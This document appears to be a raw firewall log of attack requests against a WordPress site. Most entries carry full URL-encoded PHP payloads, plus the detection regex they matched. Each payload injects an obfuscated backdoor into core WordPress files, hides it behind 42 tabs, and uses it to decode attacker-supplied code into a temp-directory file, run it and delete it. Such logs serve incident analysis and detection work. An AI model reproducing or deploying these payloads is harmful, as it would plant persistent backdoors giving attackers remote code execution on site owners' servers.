HTTP\/1.1\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:4464\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFTRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupzkyK3Ein2IhplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\n\nHa=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/widgets\/class-wp-widget-recent-comments.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522%255Cx70%255Cx67rp%2522%2529%2529%257B%2520%2524element%2520%253D%2520%2524_REQUEST%255B%2522%255Cx70%255Cx67rp%2522%255D%253B%2520%2524element%253Dexplode%2520%2528%2522.%2522%2520%252C%2520%2524element%2520%2529%2520%253B%2520%2524dat%2520%253D%2527%2527%253B%2520%2524s%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253Dstrlen%2528%2524s%2529%253B%2520%2524q%2520%253D0%253B%2520array_walk%2528%2524element%2520%252Cfunction%2520%2528%2524v2%2529%2520use%2520%2528%2526%2524dat%2520%252C%2526%2524q%2520%252C%2524s%2520%252C%2524sLen%2529%2520%257B%2520%2524chS%2520%253Dord%2528%2524s%255B%2524q%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2528%2528int%2529%2524v2%2520-%2520%2524chS%2520-%2520%2528%2524q%2520%2525%252010%2529%2529%255E84%253B%2520%2524dat%2520.%253Dchr%2528%2524d%2529%253B%2520%2524q%252B%252B%253B%2520%257D%2520%2529%253B%2520%2524record%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524record%2520as%2520%2524object%2529%2520%257B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524object%2529%2520%252A%2520is_writable%2528%2524object%2529%2529%2529%2520%257B%2520%2524key%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524object%252C%2520%2522.ent%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524key%252C%2520%2524dat%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524key%253B%2520unlink%2528%2524key%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:54:36","123.30.233.13","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/widgets\/class-wp-widget-recent-comments.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522%255Cx70%255Cx67rp%2522%2529%2529%257B%2520%2524element%2520%253D%2520%2524_REQUEST%255B%2522%255Cx70%255Cx67rp%2522%255D%253B%2520%2524element%253Dexplode%2520%2528%2522.%2522%2520%252C%2520%2524element%2520%2529%2520%253B%2520%2524dat%2520%253D%2527%2527%253B%2520%2524s%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253Dstrlen%2528%2524s%2529%253B%2520%2524q%2520%253D0%253B%2520array_walk%2528%2524element%2520%252Cfunction%2520%2528%2524v2%2529%2520use%2520%2528%2526%2524dat%2520%252C%2526%2524q%2520%252C%2524s%2520%252C%2524sLen%2529%2520%257B%2520%2524chS%2520%253Dord%2528%2524s%255B%2524q%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2528%2528int%2529%2524v2%2520-%2520%2524chS%2520-%2520%2528%2524q%2520%2525%252010%2529%2529%255E84%253B%2520%2524dat%2520.%253Dchr%2528%2524d%2529%253B%2520%2524q%252B%252B%253B%2520%257D%2520%2529%253B%2520%2524record%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524record%2520as%2520%2524object%2529%2520%257B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524object%2529%2520%252A%2520is_writable%2528%2524object%2529%2529%2529%2520%257B%2520%2524key%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524object%252C%2520%2522.ent%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524key%252C%2520%2524dat%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524key%253B%2520unlink%2528%2524key%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:4487\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/widgets\/class-wp-widget-recent-comments.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522%255Cx70%255Cx67rp%2522%2529%2529%257B%2520%2524element%2520%253D%2520%2524_REQUEST%255B%2522%255Cx70%255Cx67rp%2522%255D%253B%2520%2524element%253Dexplode%2520%2528%2522.%2522%2520%252C%2520%2524element%2520%2529%2520%253B%2520%2524dat%2520%253D%2527%2527%253B%2520%2524s%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253Dstrlen%2528%2524s%2529%253B%2520%2524q%2520%253D0%253B%2520array_walk%2528%2524element%2520%252Cfunction%2520%2528%2524v2%2529%2520use%2520%2528%2526%2524dat%2520%252C%2526%2524q%2520%252C%2524s%2520%252C%2524sLen%2529%2520%257B%2520%2524chS%2520%253Dord%2528%2524s%255B%2524q%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2528%2528int%2529%2524v2%2520-%2520%2524chS%2520-%2520%2528%2524q%2520%2525%252010%2529%2529%255E84%253B%2520%2524dat%2520.%253Dchr%2528%2524d%2529%253B%2520%2524q%252B%252B%253B%2520%257D%2520%2529%253B%2520%2524record%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524record%2520as%2520%2524object%2529%2520%257B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524object%2529%2520%252A%2520is_writable%2528%2524object%2529%2529%2529%2520%257B%2520%2524key%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524object%252C%2520%2522.ent%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524key%252C%2520%2524dat%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524key%253B%2520unlink%2528%2524key%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 10:54:47","160.250.186.220","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> vA:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/widgets\/class-wp-widget-recent-comments.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522%255Cx70%255Cx67rp%2522%2529%2529%257B%2520%2524element%2520%253D%2520%2524_REQUEST%255B%2522%255Cx70%255Cx67rp%2522%255D%253B%2520%2524element%253Dexplode%2520%2528%2522.%2522%2520%252C%2520%2524element%2520%2529%2520%253B%2520%2524dat%2520%253D%2527%2527%253B%2520%2524s%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253Dstrlen%2528%2524s%2529%253B%2520%2524q%2520%253D0%253B%2520array_walk%2528%2524element%2520%252Cfunction%2520%2528%2524v2%2529%2520use%2520%2528%2526%2524dat%2520%252C%2526%2524q%2520%252C%2524s%2520%252C%2524sLen%2529%2520%257B%2520%2524chS%2520%253Dord%2528%2524s%255B%2524q%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2528%2528int%2529%2524v2%2520-%2520%2524chS%2520-%2520%2528%2524q%2520%2525%252010%2529%2529%255E84%253B%2520%2524dat%2520.%253Dchr%2528%2524d%2529%253B%2520%2524q%252B%252B%253B%2520%257D%2520%2529%253B%2520%2524record%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524record%2520as%2520%2524object%2529%2520%257B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524object%2529%2520%252A%2520is_writable%2528%2524object%2529%2529%2529%2520%257B%2520%2524key%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524object%252C%2520%2522.ent%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524key%252C%2520%2524dat%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524key%253B%2520unlink%2528%2524key%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:4464\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqxRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupaEcqTyiovV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nvA=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/widgets\/class-wp-widget-recent-comments.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522%255Cx70%255Cx67rp%2522%2529%2529%257B%2520%2524element%2520%253D%2520%2524_REQUEST%255B%2522%255Cx70%255Cx67rp%2522%255D%253B%2520%2524element%253Dexplode%2520%2528%2522.%2522%2520%252C%2520%2524element%2520%2529%2520%253B%2520%2524dat%2520%253D%2527%2527%253B%2520%2524s%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253Dstrlen%2528%2524s%2529%253B%2520%2524q%2520%253D0%253B%2520array_walk%2528%2524element%2520%252Cfunction%2520%2528%2524v2%2529%2520use%2520%2528%2526%2524dat%2520%252C%2526%2524q%2520%252C%2524s%2520%252C%2524sLen%2529%2520%257B%2520%2524chS%2520%253Dord%2528%2524s%255B%2524q%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2528%2528int%2529%2524v2%2520-%2520%2524chS%2520-%2520%2528%2524q%2520%2525%252010%2529%2529%255E84%253B%2520%2524dat%2520.%253Dchr%2528%2524d%2529%253B%2520%2524q%252B%252B%253B%2520%257D%2520%2529%253B%2520%2524record%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524record%2520as%2520%2524object%2529%2520%257B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524object%2529%2520%252A%2520is_writable%2528%2524object%2529%2529%2529%2520%257B%2520%2524key%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524object%252C%2520%2522.ent%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524key%252C%2520%2524dat%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524key%253B%2520unlink%2528%2524key%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:55:20","129.121.41.228","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> PW:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/post-formats.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx6Bey%2522%252C%2520%2524_POST%2529%2520%2526%2526%2520%2521is_null%2528%2524_POST%255B%2522%255Cx6Bey%2522%255D%2529%2529%257B%2520%2524ref%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524data%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx6Bey%2522%255D%2529%253B%2520%2524dchunk%2520%253D%2520%2527%2527%253B%2524y%2520%253D%25200%253B%2520do%257B%2524dchunk%2520.%253D%2520chr%2528ord%2528%2524data%255B%2524y%255D%2529%2520%255E%252014%2529%253B%2524y%252B%252B%253B%257D%2520while%2528%2524y%2520%253C%2520strlen%2528%2524data%2529%2529%253B%2520foreach%2520%2528%2524ref%2520as%2520%2524key%2520%253D%253E%2520%2524desc%2529%2520%257B%2520if%2520%2528is_writable%2528%2524desc%2529%2520%2526%2526%2520is_dir%2528%2524desc%2529%2529%2520%257B%2520%2524object%2520%253D%2520%2522%2524desc%2522%2520.%2520%2522\/.reference%2522%253B%2520if%2520%2528file_put_contents%2528%2524object%252C%2520%2524dchunk%2529%2529%2520%257B%2520require%2520%2524object%253B%2520unlink%2528%2524object%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:3807\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHSpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 